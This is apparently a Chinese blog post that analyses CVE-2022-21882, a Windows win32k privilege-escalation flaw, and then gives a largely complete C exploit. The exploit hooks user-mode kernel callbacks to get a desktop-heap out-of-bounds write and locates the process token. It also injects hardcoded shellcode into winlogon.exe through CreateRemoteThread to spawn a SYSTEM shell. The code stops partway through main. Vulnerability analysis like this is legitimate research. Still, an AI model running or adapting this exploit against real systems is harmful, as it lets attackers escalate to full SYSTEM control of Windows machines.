当前位置:   article > 正文

CVE-2022-21882 分析&POC

cve-2022-21882

0x0 漏洞描述

该漏洞的成因和CVE-2021-1732类似,如果不了解,请先阅读我之前的分析:https://blog.csdn.net/qq_41252520/article/details/119349398

主要因为 x x x C l i e n t A l l o c E x t r a B y t e s F u n c \textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc} xxxClientAllocExtraBytesFunc函数会回调用户空间中的

u s e r 32 ! _ x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{user32!\_xxxClientAllocWindowClassExtraBytes} user32!_xxxClientAllocWindowClassExtraBytes,攻击者可以在此过程中设置目标窗口的 ExtraBytes指针为任意值,并且修改该指针的寻址方式桌面堆+偏移,以实现桌面堆的越界写。在CVE-2021-1732中,只有 x x x C r e a t e W i n d o w s E x \textcolor{cornflowerblue}{xxxCreateWindowsEx} xxxCreateWindowsEx函数中会调用 x x x C l i e n t A l l o c E x t r a B y t e s F u n c \textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc} xxxClientAllocExtraBytesFunc,后微软推出了针对该漏洞的补丁。后面小节会分析为什么打了补丁的 x x x C l i e n t A l l o c E x t r a B y t e s F u n c \textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc} xxxClientAllocExtraBytesFunc还会造成CVE-2022-21882漏洞。

0x1 影响版本

Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit Systems
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

0x2 漏洞等级

7.8 | 高危

0x3 漏洞分析

【环境】win10x64_21H2 19044.1415

首 先 要 从 C V E − 2021 − 1732 的 补 丁 分 析 说 起 \textcolor{green}{首先要从CVE-2021-1732的补丁分析说起} CVE20211732

安装补丁后, x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx在调用 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes后增添了一个检查:

__int64 __fastcall xxxCreateWindowEx(int a1, wchar_t *a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int a6, int a7, unsigned int a8, unsigned int a9, __int64 a10, __int64 a11, __int64 a12, __int64 a13, __int64 a14, int a15, int a16, __int64 a17)
{
    ...
    LABLE_543:
    ...
        goto LABEL_544;
    LABEL_544:
    ...
        xxxFreeWindow(v50);
    ...
        goto LABEL_37;
    LABEL_37:
        SmartObjStackRef<tagMENU>::~SmartObjStackRef<tagMENU>(&v308);
        SmartObjStackRef<tagCLS>::~SmartObjStackRef<tagCLS>(&v303);
        return 0i64;
    ...
    cbExtraBytes = *(unsigned int *)(*((_QWORD *)v50 + 5) + 0xC8i64);
    if ( !(_DWORD)cbExtraBytes )
        goto LABEL_211;
    ExtraBytes = xxxClientAllocWindowClassExtraBytes(cbExtraBytes);// 易受攻击的函数
    v405 = ExtraBytes;
    if ( !ExtraBytes )
    {
        v301 = 2;
        if ( *((_DWORD *)v50 + 2) != 1 )
            goto LABEL_542;
        goto LABEL_197;
    }
    if ( (unsigned int)IsWindowBeingDestroyed((__int64)v50)
        || *(_BYTE *)(_HMPheFromObject(v96) + 0x19) & 1
        || (v352 = 0i64, tagWND::RedirectedFieldpExtraBytes::operator!=<unsigned __int64>((__int64)v50 + 0x140, &v352)) )// tagWND->ExtraBytes != 0
    {
        LABEL_542:
        v121 = v301;
        goto LABEL_543;
    }
    tagWND_1 = *((_QWORD *)v50 + 5);
    if ( *(_DWORD *)(tagWND_1 + 0xE8) & 0x800 )
    {
        MicrosoftTelemetryAssertTriggeredNoArgsKM();
        tagWND_1 = v306[5];
    }
    *(_QWORD *)(tagWND_1 + 0x128) = ExtraBytes;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 正常情况下,在新创建一个窗口还没调用 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes的时候,其窗口对应的 t a g W N D − > E x t r a B y t e s \textcolor{orange}{tagWND->ExtraBytes} tagWND>ExtraBytes自然是空的,所以通过 @line:31的判断语句就能检测到目标窗口的 ExtraBytes指针是否在回调过程中被修改,推测出用户态回调是否被 HOOK。如果检查到非正常修改就会转到 @line:4的流程,释放掉新建的窗口,并返回失败。
  • 然而这样一个补丁居然是打在 x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx函数里的,且 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes函数并没有做任何修改,当然这在当时的系统没有任何问题,但是有意思的是在后来的更新中, x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes又多了几个触发的路径
    • 在这里插入图片描述

__int64 __fastcall xxxSwitchWndProc(struct tagWND *a1, int a2, unsigned __int64 a3, __int64 a4)
{
    ...
    *((_QWORD *)v7 + 0x23) = v15;
    *(_DWORD *)(*(_QWORD *)v8 + 0xFCi64) = v14;
    cbExtraBytes = *(unsigned int *)(*(_QWORD *)v8 + 0xC8i64);
    v28 = cbExtraBytes;
    if ( (_DWORD)cbExtraBytes )
    {
        ret = (void *)xxxClientAllocWindowClassExtraBytes((unsigned int)cbExtraBytes);
        if ( !ret )
            return 0i64;
    }
    else
    {
        ret = 0i64;
    }
    if ( tagWND::RedirectedFieldpExtraBytes::operator<bool> bool((__int64)v7 + 0x140) )// tagWND->ExtraBytes != NULL
    {
        if ( ret )
            memmove(
            ret,
            (const void *)(*(_QWORD *)(*(_QWORD *)v8 + 0x128i64) + *(unsigned int *)(*(_QWORD *)v8 + 0xFCi64)),
            cbExtraBytes);
        tagWND = *((_QWORD *)v7 + 5);
        ExtraBytes = *(_QWORD *)(tagWND + 0x128);
        *(_QWORD *)(tagWND + 0x128) = ret;
        *(_DWORD *)(*((_QWORD *)v7 + 5) + 0xC8i64) = cbExtraBytes;
        xxxClientFreeWindowClassExtraBytes((__int64)v7, ExtraBytes);
    }
    ...
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

@line:8 当被切换的目标窗口的 cbExtraBytes大于 0时,就会调用易受攻击的函数

x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes为窗口分配额外内存,后面却没有检查窗口的 ExtraBytes在用户层回调过程中是否遭到修改。因此,同样的问题又发生了!并且这个漏洞更容易利用,因为窗口已经创建完毕,我们可以轻松拿到窗口的句柄。

需要注意的是,当分配了额外内存,并拷贝完数据后,就会释放掉额外内存。 @line:29

0x4 漏洞利用

整个利用过程可以用一张图来表示

在这里插入图片描述

首先应用层可以通过调用 N t U s e r M e s s a g e C a l l \textcolor{cornflowerblue}{NtUserMessageCall} NtUserMessageCall函数触发内核层的 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc} xxxSwitchWndProc函数,接着就会调用到易受攻击的函数 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes。我们事先在应用层 Hook相应的回调函数,然后就是调用函数 N t U s e r C o n s o l e C o n t r o l \textcolor{cornflowerblue}{NtUserConsoleControl} NtUserConsoleControl修改 tagWND_TriggerExtraBytes内存寻址方式为 桌面堆+偏移,然后调用函数 N t C a l l b a c k R e t u r n \textcolor{cornflowerblue}{NtCallbackReturn} NtCallbackReturn将受害者窗口相对于桌面堆的偏移 tagWND_Victim offset设置为 t a g W N D _ T r i g g e r − > E x t r a B y t e s \textcolor{orange}{tagWND\_Trigger->ExtraBytes} tagWND_Trigger>ExtraBytes

还要 Hook应用层的 U s e r 32 ! _ x x x C l i e n t F r e e W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{User32!\_xxxClientFreeWindowClassExtraBytes} User32!_xxxClientFreeWindowClassExtraBytes,使其不释放 t a g W N D _ T r i g g e r − > E x t r a B y t e s \textcolor{orange}{tagWND\_Trigger->ExtraBytes} tagWND_Trigger>ExtraBytes,保证进一步的漏洞利用能够顺利进行。

触发漏洞的窗口(hTrigger)和受害者窗口(hVictim)在内存上的布局应遵循下图所示的方式:

在这里插入图片描述

hVictim在内存地址低处,hTrigger在内存地址高处。通过前一张图中的漏洞利用流程,修改 hTrigger t a g W N D − > F l a g s   ∣ =   0 x 800 \textcolor{orange}{tagWND->Flags\ |=\ 0x800} tagWND>Flags = 0x800,并设置 tagWND_Victim相对于桌面堆的偏移为 t a g W N D T r i g g e r − > E x t r a B y t e s \textcolor{orange}{tagWND_Trigger->ExtraBytes} tagWNDTrigger>ExtraBytes,然后对 hWndTrigger调用 S e t W i n d o w L o n g \textcolor{cornflowerblue}{SetWindowLong} SetWindowLong系列的函数,越界修改 t a g W N D _ V i c t i m − > E x t r a B y t e s \textcolor{orange}{tagWND\_Victim->ExtraBytes} tagWND_Victim>ExtraBytes为任意内存,再对 hWndVictim调用 S e t W i n d o w L o n g \textcolor{cornflowerblue}{SetWindowLong} SetWindowLong系列的函数便可实现任意内存写。

获得任意内核地址写之后,我们可以修改当前进程的 T o k e n − > P r i v i l e g e s \textcolor{orange}{Token->Privileges} Token>Privileges,开启全部权限,然后注入 shellcodewinlong.exe获得一个系统用户的 shell

最后不要忘了恢复 t a g W N D _ V i c t i m − > E x t r a B y t e s \textcolor{orange}{tagWND\_Victim->ExtraBytes} tagWND_Victim>ExtraBytes t a g W N D T r i g g e r − > F l a g s \textcolor{orange}{tagWND_Trigger->Flags} tagWNDTrigger>Flags,避免系统 BSOD

0x5 EXP

#include<windows.h>
#include<stdio.h>
#include<stdlib.h>
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib ")

#define KERNEL_CALLBACK_TABLE_OFFSET 0x58
#define TRIGGERWND_EXTRASIZE 0xABCD
#define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L) 

#pragma pack(1)
typedef struct 
{
	ULONG64 hWnd;                // + 0x00
	ULONG64 OffsetToDesktopHeap; // + 0x08
	ULONG64 state;               // + 0x10
	DWORD dwExStyle;             // + 0x18
	DWORD dwStyle;               // + 0x1C
	BYTE padd1[0xa8];
	ULONG64 cbWndExtra;          // + 0xC8
	BYTE padd2[0x18];
	DWORD dwExtraFlag;           // + 0xE8
	BYTE padd3[0x3c];
	ULONG64 pExtraBytes;         // + 0x128
}tagWNDK,*PWND;

#pragma pack(0)

typedef struct _SYSTEM_HANDLE
{
	PVOID Object;
	HANDLE UniqueProcessId;
	HANDLE HandleValue;
	ULONG GrantedAccess;
	USHORT CreatorBackTraceIndex;
	USHORT ObjectTypeIndex;
	ULONG HandleAttributes;
	ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
	ULONG_PTR HandleCount;
	ULONG_PTR Reserved;
	SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;

enum SYSTEM_INFORMATION_CLASS {
	SystemExtendedHandleInformation = 64
};

using NtUserMessageCall_t = NTSTATUS(*)(
	HWND hWnd,
	UINT Msg,
	WPARAM wParam,
	LPARAM lParam,
	ULONG_PTR ResultInfo,
	DWORD dwType,
	BOOL bAnsi);

using ZwQuerySystemInformation_t = NTSTATUS(*)(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength);

using RtlAllocateHeap_t = PVOID(*)(PVOID HeapHandle, ULONG Flags, SIZE_T Size);

using xxxClientAllocWindowClassExtraBytes_t = NTSTATUS(*)(PDWORD Length);
using xxxClientFreeWindowClassExtraBytes_t = NTSTATUS(*WINAPI)(PVOID* pInfo);

using NtUserConsoleControl_t = NTSTATUS(__fastcall*)(DWORD64, LPVOID, DWORD);
using NtCallbackReturn_t = NTSTATUS(__fastcall*)(LPVOID, DWORD, NTSTATUS);
using HMValidateHandle_t = tagWNDK*(__fastcall*)(HANDLE, UINT);
using IsMenu_t = BOOL(*)(HMENU hMenu);

namespace gb {
	xxxClientAllocWindowClassExtraBytes_t xxxClientAllocWindowClassExtraBytes = 0;
	xxxClientFreeWindowClassExtraBytes_t xxxClientFreeWindowClassExtraBytes = 0;
	NtUserConsoleControl_t NtUserConsoleControl = 0;
	NtCallbackReturn_t NtCallbackReturn = 0;
	HMValidateHandle_t HMValidateHandle = 0;
	NtUserMessageCall_t  NtUserMessageCall = 0;
	ZwQuerySystemInformation_t ZwQuerySystemInformation = 0;
	RtlAllocateHeap_t RtlAllocateHeap = 0;

	IsMenu_t u32_IsMenu = 0;
	HMODULE g_hNtdll = 0;
	HMODULE g_hWin32u = 0;
	HMODULE g_hUser32 = 0;

	HWND g_hTriggerWnd = 0;
	HWND g_hVictimWnd = 0;

	DWORD64 TriggerDeskHeap = 0;
	DWORD64 VictimDeskHeap = 0;
	HANDLE hToken = 0;
};


VOID SetFuncHook(DWORD64 newAllocFunc,DWORD64 newFreeFunc) {
	//1.获取本进程的PEB
	DWORD64 ulCurrPEB = __readgsqword(0x60);
	printf("[+] Found ulCurrPEB = 0x%p\n", ulCurrPEB);
	//2.找到KernelCallbackTable
	DWORD64 KernelCallbackTable = ulCurrPEB + KERNEL_CALLBACK_TABLE_OFFSET;
	KernelCallbackTable = *(PDWORD64)KernelCallbackTable;
	printf("[+] Found KernelCallbackTable = 0x%p\n", KernelCallbackTable);
	DWORD64  xxxClientAllocExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8);
	printf("[+] Found xxxClientAllocExtraBytesFunc = 0x%p\n", xxxClientAllocExtraBytesFunc);
	gb::xxxClientAllocWindowClassExtraBytes = (xxxClientAllocWindowClassExtraBytes_t)xxxClientAllocExtraBytesFunc;

	DWORD64  xxxClientFreeExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7C * 8);
	printf("[+] Found xxxClientFreeExtraBytesFunc = 0x%p\n", xxxClientFreeExtraBytesFunc);
	gb::xxxClientFreeWindowClassExtraBytes = (xxxClientFreeWindowClassExtraBytes_t)xxxClientFreeExtraBytesFunc;

	//3.HOOK
	//首先需要设置页面可写属性
	DWORD dwOldProtect;
	VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);
	*(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8) = newAllocFunc;
	VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, dwOldProtect, &dwOldProtect);

	VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7C * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);
	*(PDWORD64)((DWORD64)KernelCallbackTable + 0x7C * 8) = newFreeFunc;
	VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7C * 8), 0x300, dwOldProtect, &dwOldProtect);
}

NTSTATUS WINAPI ClientFreeWindowsClassExtraBytesProxy(PVOID* pInfo) {
	PWND pwnd = (PWND)pInfo[0];
	if (pwnd->cbWndExtra == TRIGGERWND_EXTRASIZE)
		return 1;
	return gb::xxxClientFreeWindowClassExtraBytes(pInfo);
}

NTSTATUS WINAPI ClientAllocatWindowClassExtraBytesProxy(PDWORD size) {
	
	if (*size==TRIGGERWND_EXTRASIZE) {
		//获取窗口句柄
		//使用NtUserConsoleControl 将目标窗口的寻址模式修改为DesktopHeap+Offset
		printf("[+] ClientAllocatWindowClassExtraBytesProxy called! Offset = %p\n\n", gb::VictimDeskHeap);
		gb::NtUserConsoleControl(6, &gb::g_hTriggerWnd, 0x10);
		//修改hWndTriggle 的 tagWnd->ExtraBytes 为 hTriggerWnd的桌面堆
		DWORD64 ulResult = gb::VictimDeskHeap ;
		return gb::NtCallbackReturn(&ulResult, 24, 0);
	}
	return gb::xxxClientAllocWindowClassExtraBytes(size);
}

LRESULT __fastcall WindowProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
	if (a2 != 2)
		return DefWindowProcW(a1, a2, a3, a4);
	PostQuitMessage(0);
	return 0;
}

bool CheckPrivilege(HANDLE TokenHandle)
{
	BOOL isPrivilegeSet = FALSE;
	PRIVILEGE_SET		privSet;
	LUID_AND_ATTRIBUTES Privileges[1];
	LookupPrivilegeValue(NULL, "SeDebugPrivilege", &(Privileges[0].Luid));
	Privileges[0].Attributes = 0;

	privSet.PrivilegeCount = 1;
	privSet.Control = PRIVILEGE_SET_ALL_NECESSARY;
	memcpy(privSet.Privilege, Privileges, sizeof(Privileges));

	PrivilegeCheck(TokenHandle, &privSet, &isPrivilegeSet);
	return isPrivilegeSet;
}

DWORD getProcessId(const char* name)
{
	DWORD aProcesses[1024], cbNeeded, cProcesses;
	unsigned int i;

	if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
	{
		printf("[Error_%d] EnumProcess failed...\n", __LINE__);
		exit(0);
	}


	// Calculate how many process identifiers were returned.
	cProcesses = cbNeeded / sizeof(DWORD);

	// Print the name and process identifier for each process.
	for (i = 0; i < cProcesses; i++)
	{
		if (aProcesses[i] != 0)
		{
			DWORD processID = aProcesses[i];
			CHAR szProcessName[MAX_PATH] = "<unknown>";

			// Get a handle to the process.

			HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
				PROCESS_VM_READ,
				FALSE, processID);

			// Get the process name.

			if (NULL != hProcess)
			{
				HMODULE hMod;
				DWORD cbNeeded;

				if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
					&cbNeeded))
				{
					GetModuleBaseNameA(hProcess, hMod, szProcessName,
						sizeof(szProcessName) / sizeof(TCHAR));
				}
			}

			// Print the process name and identifier.
			if (!lstrcmpA(szProcessName, name))
			{
				CloseHandle(hProcess);
				return (processID);
			}

			// Release the handle to the process.

			CloseHandle(hProcess);
		}
	}

	return 0;

}

void SpawnShell() {
	HANDLE hSystemProcess = INVALID_HANDLE_VALUE;
	PVOID  pLibRemote;
	HMODULE hKernel32 = GetModuleHandleA("Kernel32");
	DWORD processID;
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
		"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
		"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
		"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
		"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
		"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
		"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
		"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
		"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
		"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
		"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
		"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
		"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
		"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
		"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
		"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
		"\x78\x65\x00";


	if ((processID = getProcessId("winlogon.exe")) == 0)
	{
		printf("[Error_%d] Couldn't retrieve process ID...\n", __LINE__);
		return;
	}
	printf("[+] Retrieved process id: %d\n", processID);
	hSystemProcess = OpenProcess(GENERIC_ALL, false, processID);

	if (hSystemProcess == INVALID_HANDLE_VALUE || hSystemProcess == (HANDLE)0)
	{
		printf("[Error_%d] Couldn't open system process...\n", __LINE__);
		return;
	}
	printf("[+] Got a handle on a system Process: %08p\n", hSystemProcess);


	pLibRemote = VirtualAllocEx(hSystemProcess, NULL, sizeof(shellcode) * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	if (!pLibRemote)
	{
		printf("[Error_%d] Virtual alloc failed !\n", __LINE__);
		return;
	}

	printf("[+] Allocation in system process succeded with address %08p\n", pLibRemote);

	if (!WriteProcessMemory(hSystemProcess, pLibRemote, shellcode, sizeof(shellcode), NULL))
	{
		printf("[Error_%d] WriteProcessMemory failed !\n", __LINE__);
		return;
	}

	HANDLE hThread = CreateRemoteThread(hSystemProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLibRemote, NULL, 0, NULL);

	printf("[+] Writing in system process succeded\n");

	if (hThread == NULL) {
		printf("[Error_%d] CreateRemoteThread failed !\n", __LINE__);
		return;
	}
	else
		printf("[+] Remote thread created !\n");
	CloseHandle(hSystemProcess);
}

ULONG64 GetToken() {
	PSYSTEM_HANDLE_INFORMATION_EX sys_handle_info_ref = NULL;
	ULONG64 Token = 0;
	ULONG len = 20;
	NTSTATUS ntst = 0;

	OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &gb::hToken);
	if (gb::hToken == INVALID_HANDLE_VALUE) {
		printf("[Error_%d] GetToken(): OpenProcessToken failed.\n", __LINE__);
		return 0;
	}
	//获取本进程的EPROCESS
	do {
		len *= 2;
		sys_handle_info_ref = (PSYSTEM_HANDLE_INFORMATION_EX)realloc(sys_handle_info_ref, len);
		ntst = gb::ZwQuerySystemInformation(
			(SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, sys_handle_info_ref, len, &len);
	} while (ntst == STATUS_INFO_LENGTH_MISMATCH);

	if (ntst != 0) {
		printf("[Error_%d] GetToken(): ZwQuerySystemInformation failed.\n", __LINE__);
		if (sys_handle_info_ref)
			free(sys_handle_info_ref);
		return 0;
	}

	DWORD pid = GetCurrentProcessId();
	for (int i = 0; i < sys_handle_info_ref->HandleCount; i++) {
		if (gb::hToken == sys_handle_info_ref->Handles[i].HandleValue
			&& (HANDLE)pid == sys_handle_info_ref->Handles[i].UniqueProcessId) {
			Token = (ULONG64)sys_handle_info_ref->Handles[i].Object;
			break;
		}
	}

	if (sys_handle_info_ref)
		free(sys_handle_info_ref);

	printf("[+] Found current process token = %p\n", Token);
	return Token;
}


BOOLEAN Init() {
	BOOLEAN bRet = TRUE;
	int offset = 0;
	DWORD64 next_code = 0;

	__try {
		gb::g_hUser32 = LoadLibraryA("user32.dll");
		if (!gb::g_hUser32) {
			printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}
		//获取u32_IsMenu
		gb::u32_IsMenu = (IsMenu_t)GetProcAddress(gb::g_hUser32, "IsMenu");
		if (!gb::u32_IsMenu) {
			printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}

		for (int i = 0; i < 0x100; i++) {
			PUCHAR tr = (PUCHAR)gb::u32_IsMenu + i;
			if (*tr == 0xE8)
			{//找到调用HMValidateHandle的指令位置
				offset = *(int*)((PCHAR)gb::u32_IsMenu + i + 1);
				next_code = (DWORD64)gb::u32_IsMenu + i + 5;
				gb::HMValidateHandle = (HMValidateHandle_t)(next_code + offset);
				break;
			}
		}
		if (!gb::HMValidateHandle) {
			printf("[!] Error: Can not find HMValidateHandle!\n");
			bRet = FALSE;
			__leave;
		}

		printf("[+] Found HMValidateHandle = 0x%p\n", gb::HMValidateHandle);

		gb::g_hNtdll = LoadLibraryA("ntdll.dll");
		if (!gb::g_hNtdll) {
			printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}

		gb::g_hWin32u = LoadLibraryA("win32u.dll");
		if (!gb::g_hWin32u) {
			printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}
		
		gb::NtCallbackReturn = (NtCallbackReturn_t)GetProcAddress(gb::g_hNtdll, "NtCallbackReturn");
		gb::NtUserMessageCall = (NtUserMessageCall_t)GetProcAddress(gb::g_hWin32u, "NtUserMessageCall");
		gb::NtUserConsoleControl = (NtUserConsoleControl_t)GetProcAddress(gb::g_hWin32u, "NtUserConsoleControl");
		gb::ZwQuerySystemInformation = (ZwQuerySystemInformation_t)GetProcAddress(gb::g_hNtdll, "NtQuerySystemInformation");
		gb::RtlAllocateHeap = (RtlAllocateHeap_t)GetProcAddress(gb::g_hNtdll, "RtlAllocateHeap");
		if (gb::NtCallbackReturn==0 || gb::NtUserMessageCall==0 || 
			gb::NtUserConsoleControl==0 || gb::ZwQuerySystemInformation==0 ||
			gb::RtlAllocateHeap==0) {
			printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
			bRet = FALSE;
			__leave;
		}
	}
	__finally {

	}
	return bRet;
}

int main(int argc,char *argv[]) {

	if (argc <= 1) {
		printf(
		"Usage:\n"
		"         Example: CVE-2022-21882.exe whoami\n"
		);
		return 0;
	}

	WNDCLASSEXW WndClassExW = { 0 };

	ULONG64 TokenAddr = 0;

	if (Init()) {

		TokenAddr = GetToken();

		if (TokenAddr == 0) {
			printf("[-] Error(%u): GetToken failed.\n");
			return 0;
		}

		WndClassExW.hIcon = 0;
		WndClassExW.hbrBackground = 0;
		WndClassExW.lpszClassName = 0;
		WndClassExW.lpfnWndProc = (WNDPROC)WindowProc;
		WndClassExW.cbSize = sizeof(WNDCLASSEXW);
		WndClassExW.style = CS_VREDRAW | CS_HREDRAW;;
		WndClassExW.cbClsExtra = 0;
		WndClassExW.cbWndExtra = 0x60;
		WndClassExW.hInstance = GetModuleHandleW(0);
		WndClassExW.lpszClassName = L"VictimClass";
		//被覆盖写
		ATOM atom_vic = RegisterClassExW(&WndClassExW);

		WndClassExW.cbWndExtra = TRIGGERWND_EXTRASIZE;
		WndClassExW.lpszClassName = L"TriggerClass";

		//触发漏洞
		ATOM atom_trig = RegisterClassExW(&WndClassExW);

		gb::g_hVictimWnd = CreateWindowExW(NULL,
			(LPCWSTR)(unsigned __int16)atom_vic,
			L"VictimWnd",
			NULL,
			0,
			0, 
			0,
			0,
			0,
			0,
			GetModuleHandleW(0),
			0);
		printf("[+] Created victim windows = 0x%p\n", gb::g_hVictimWnd);

		gb::g_hTriggerWnd = CreateWindowExW(NULL,
			(LPCWSTR)(unsigned __int16)atom_trig,
			L"TriggerBug",
			NULL,
			0,
			0,
			0,
			0,
			0,
			0,
			GetModuleHandleW(0),
			0);
		printf("[+] Created trigger windows = 0x%p\n", gb::g_hTriggerWnd);
		// 触发漏洞
		// 获取刚创建的这两个窗口的桌面堆
		PWND Trigger= gb::HMValidateHandle(gb::g_hTriggerWnd, 1);
		gb::TriggerDeskHeap = Trigger->OffsetToDesktopHeap;
		printf("[+] TriggerDeskHeap's tagWND = 0x%p\n", Trigger);
		PWND Victim = gb::HMValidateHandle(gb::g_hVictimWnd, 1);
		gb::VictimDeskHeap = Victim->OffsetToDesktopHeap;
		DWORD64 Distance = 0;
		if (gb::VictimDeskHeap> gb::TriggerDeskHeap) {
